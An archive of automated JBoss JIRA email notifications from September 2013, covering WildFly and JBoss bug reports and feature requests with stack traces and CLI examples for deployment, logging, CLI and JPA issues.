    [ https://issues.jboss.org/browse/LOGMGR-67?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805236#comment-12805236 ] 

RH Bugzilla Integration commented on LOGMGR-67:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 994744|https://bugzilla.redhat.com/show_bug.cgi?id=994744] from MODIFIED to ON_QA
                
> Improve LogManager formatter capability: System resources, thread ID and minified category
> ------------------------------------------------------------------------------------------
>
>                 Key: LOGMGR-67
>                 URL: https://issues.jboss.org/browse/LOGMGR-67
>             Project: JBoss Log Manager
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>          Components: core
>    Affects Versions: 1.3.2.Final
>         Environment: JBoss EAP 6.0.1
>            Reporter: Jeremy KUHN
>            Assignee: James Perkins
>              Labels: jboss
>             Fix For: 1.5.0.Final, 2.0.0.Beta1
>
>   Original Estimate: 4 hours
>  Remaining Estimate: 4 hours
>
> Hello,
> We are currently developing a major JEE application running on multiple JBoss EAP 6.0.1 instances in a service oriented architecture.
> The current implementation of JBoss-logmanager (1.3.2.Final) shipped with JBoss EAP doesn't provide the functionality we require in term of logging formatting.
> We are missing:
> - Thread ID (Thread names are too long and of different length that disturb the reading of logs)
> - we haven't find a way to get the hostname displayed in the logs, a simple solution would be to be able to include System properties and therefore the jboss.host.name property in the pattern. System properties would also be interesting to identified the log coming from a specific application (we'll have one application deployed per JBoss instance). Ideally, we'd like to have the ability to provide a context name to know which application has logged the event but this seems to have been delivered with logging profiles.
> - logback has this interesting feature that lets you minify the log category: instead of org.jboss.logmanager.config.ConfigAction you'll get o.j.l.c.ConfigAction which is more readable in the logs.
> Regards

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 17:57:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Tue, 17 Sep 2013 17:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2101) An exploded war inside an
 exploded ear is completely destroyed
In-Reply-To: <JIRA.12500873.1379455015470@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500873.1379455015470@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500873.1379455015470.31512.1379455023536@jira02.app.mwc.hst.phx2.redhat.com>

Thomas Fr?hbeck created WFLY-2101:
-------------------------------------

             Summary: An exploded war inside an exploded ear is completely destroyed 
                 Key: WFLY-2101
                 URL: https://issues.jboss.org/browse/WFLY-2101
             Project: WildFly
          Issue Type: Bug
          Components: EE
    Affects Versions: 8.0.0.Beta1
            Reporter: Thomas Fr?hbeck
            Assignee: David Lloyd


Fix for WFLY-2028 completely overwrites files in deployment:

private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
        if (war && !file.isFile()) {
            File warContent = file.getPhysicalFile();
            VFSUtils.recursiveCopy(file, warContent.getParentFile());

if Write-protecting deployment, the following exception is thrown:

23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
yments/mssms-ear.ear"]
        at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
        ... 5 more
Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
        at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
        at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
        at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
        at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
        at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
        at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
        at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
        ... 6 more



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 18:06:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.31518.1379455563392@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805237#comment-12805237 ] 

RH Bugzilla Integration commented on WFLY-1913:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from MODIFIED to ON_QA
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:06:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1896) The CLI command "module
 remove" fails to delete non-empty folders
In-Reply-To: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498835.1376855712000.31521.1379455563534@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1896?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805238#comment-12805238 ] 

RH Bugzilla Integration commented on WFLY-1896:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from MODIFIED to ON_QA
                
>  The CLI command "module remove" fails to delete non-empty folders
> ------------------------------------------------------------------
>
>                 Key: WFLY-1896
>                 URL: https://issues.jboss.org/browse/WFLY-1896
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The "module remove" command fails when it deletes non-empty folder.
> For instance a resource adapter module contains META-INF/ra.xml file in the module. When I choose to delete the module, it fails:
> [standalone at localhost:9999 /] module remove --name=org.jboss.ironjacamar.ra16out 
> Failed to delete /home/jcacek/Testing/jboss-eap-6.1.1.ER4/modules/org/jboss/ironjacamar/ra16out/main/META-INF

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1783) IIOPNamingTestCase is failing
 when run on IBM JDK
In-Reply-To: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497581.1375186193000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497581.1375186193000.31526.1379455803580@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1783?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805240#comment-12805240 ] 

RH Bugzilla Integration commented on WFLY-1783:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 990112|https://bugzilla.redhat.com/show_bug.cgi?id=990112] from MODIFIED to ON_QA
                
> IIOPNamingTestCase is failing when run on IBM JDK
> -------------------------------------------------
>
>                 Key: WFLY-1783
>                 URL: https://issues.jboss.org/browse/WFLY-1783
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha3
>         Environment: ibm jdk
>            Reporter: Ond?ej Chaloupka
>            Assignee: Ond?ej Chaloupka
>
> Testcase org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase is failing when is run on IBM JDK with message
> Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
> The stack trace:
> {code}
> java.lang.ClassCastException: Unable to load class: org.jboss.as.test.integration.ejb.iiop.naming._IIOPNamingHome_Stub
>  at com.ibm.rmi.javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:356)
>  at javax.rmi.PortableRemoteObject.narrow(PortableRemoteObject.java:148)
>  at org.jboss.as.test.integration.ejb.iiop.naming.IIOPNamingTestCase.testIIOPNamingInvocation(IIOPNamingTestCase.java:65)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
>  at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
>  at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
>  at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
>  at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
>  at sun.reflect.GeneratedMethodAccessor43.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
>  at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
>  at org.jboss.arquillian.container.test.impl.execution.ClientTestExecuter.execute(ClientTestExecuter.java:53)
>  at sun.reflect.GeneratedMethodAccessor13.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createContext(ContainerEventController.java:142)
>  at org.jboss.arquillian.container.test.impl.client.ContainerEventController.createTestContext(ContainerEventController.java:129)
>  at sun.reflect.GeneratedMethodAccessor12.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
>  at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createClassContext(TestContextHandler.java:75)
>  at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
>  at sun.reflect.GeneratedMethodAccessor5.invoke(Unknown Source)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
>  at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
>  at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
>  at org.jboss.arquillian.test.impl.EventTestRunnerAdaptor.test(EventTestRunnerAdaptor.java:111)
>  at org.jboss.arquillian.junit.Arquillian$6.evaluate(Arquillian.java:263)
>  at org.jboss.arquillian.junit.Arquillian$4.evaluate(Arquillian.java:226)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$5.evaluate(Arquillian.java:240)
>  at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)
>  at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)
>  at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)
>  at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)
>  at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)
>  at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)
>  at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)
>  at org.jboss.arquillian.junit.Arquillian$2.evaluate(Arquillian.java:185)
>  at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
>  at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
>  at org.jboss.arquillian.junit.Arquillian$3.evaluate(Arquillian.java:199)
>  at org.junit.runners.ParentRunner.run(ParentRunner.java:309)
>  at org.jboss.arquillian.junit.Arquillian.run(Arquillian.java:147)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:234)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:133)
>  at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:114)
>  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60)
>  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37)
>  at java.lang.reflect.Method.invoke(Method.java:611)
>  at org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtils.java:188)
>  at org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFactory.java:166)
>  at org.apache.maven.surefire.booter.ProviderFactory.invokeProvider(ProviderFactory.java:86)
>  at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:101)
>  at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:74)
> {code}
> The reason seem to be that the stubs are not generated. As I found there is no option to force jdk generate stubs on the fly (oracle jdk knows -Dcom.sun.CORBA.ORBUseDynamicStub=true) and the generation of stubs have to be done manually e.g. with rmic tool.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 18:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.31530.1379455803887@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805241#comment-12805241 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600]

This is not complete yet, linked PR was just first fix.
for complete fix hibernate upgrade is required.
Hibernate fix was already applied to upstream and is included in 4.3.0.Beta4
for EAP it needs 4.2.x release.
We can track that separately or as part of this issue.
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBWEB-276) Using non-blocking thread
 pool causes excessive RejectedExecutionExceptions to be logged
In-Reply-To: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496743.1374112834000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496743.1374112834000.31534.1379455923501@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBWEB-276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805242#comment-12805242 ] 

RH Bugzilla Integration commented on JBWEB-276:
-----------------------------------------------

Paul Gier <pgier at redhat.com> made a comment on [bug 985191|https://bugzilla.redhat.com/show_bug.cgi?id=985191]

Can this issue be closed?
                
> Using non-blocking thread pool causes excessive RejectedExecutionExceptions to be logged
> ----------------------------------------------------------------------------------------
>
>                 Key: JBWEB-276
>                 URL: https://issues.jboss.org/browse/JBWEB-276
>             Project: JBoss Web
>          Issue Type: Enhancement
>      Security Level: Public(Everyone can see) 
>    Affects Versions: JBossWeb-7.2.0.Beta1
>            Reporter: James Livingston
>            Assignee: Remy Maucherat
>         Attachments: JBWEB-276-1.patch, JBWEB-276-2.patch
>
>
> When a finite-queue thread pool is used to process web requests, the queue being full can either block or drop the request. If you use a pool which drops requests, a RejectedExecutionException is thrown.
> Currently JIoEndpoint catches that exception the same as other ones such as being unable to create threads. When using a non-blocking pool, the task being rejected is not a critical error like other exceptions so should not be logged at ERROR level.
> Under excessive load, these exception will be continuously generated as requests are dropped, which cases a large amount of logging. Setting it to DEBUG level would stop that, but it would hide the potentially useful messages by default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:14:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.31538.1379456043504@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805243#comment-12805243 ] 

RH Bugzilla Integration commented on WFLY-1972:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 983980|https://bugzilla.redhat.com/show_bug.cgi?id=983980] from MODIFIED to ON_QA
                
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Brian Stansberry
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:14:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:14:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-878) Message-Driven Beans doesn't
 support DeliveryActive activation config property
In-Reply-To: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466868.1337586487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466868.1337586487000.31548.1379456044032@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-878?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805244#comment-12805244 ] 

RH Bugzilla Integration commented on WFLY-878:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 981341|https://bugzilla.redhat.com/show_bug.cgi?id=981341] from MODIFIED to ON_QA
                
> Message-Driven Beans doesn't support DeliveryActive activation config property
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-878
>                 URL: https://issues.jboss.org/browse/WFLY-878
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, JMS
>         Environment: Windows 64 bit
>            Reporter: Prasad Deshpande
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha3
>
>
> I get this warning on AS7.1.1 console, seems that ActivationConfigProperty DeliveryActive is not implemented by hornetq-ra, could we please have it as earlier JMS implementation of JMS had it & application that were using it will fail with AS7 now..?
> 16:04:30,794 WARN  [org.jboss.ejb3] (MSC service thread 1-16) JBAS014105: ActivationConfigProperty DeliveryActive will be ignored since it is not allowed by resource adapter: hornetq-ra
> Thanks,
> Prasad

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:16:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.31557.1379456164581@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805246#comment-12805246 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984] from MODIFIED to ON_QA
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 18:18:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 18:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1512) jboss-cli.sh throws NPE in
 batch mode with certain commands
In-Reply-To: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494141.1371074831000.31562.1379456283492@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1512?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805247#comment-12805247 ] 

RH Bugzilla Integration commented on WFLY-1512:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 977426|https://bugzilla.redhat.com/show_bug.cgi?id=977426] from MODIFIED to ON_QA
                
> jboss-cli.sh throws NPE in batch mode with certain commands
> -----------------------------------------------------------
>
>                 Key: WFLY-1512
>                 URL: https://issues.jboss.org/browse/WFLY-1512
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha2
>
>
> When the jboss-cli.sh (and by extension, the CommandContext API in java) is given certain commands while not connected to the client, an unhandled NPE is thrown from org.jboss.as.cli.handlers.GenericTypeOperationHandler.getOperationDescription(GenericTypeOperationHandler.java:886)
> Certain other commands succeed: 
> [disconnected / #] /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> #1 /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
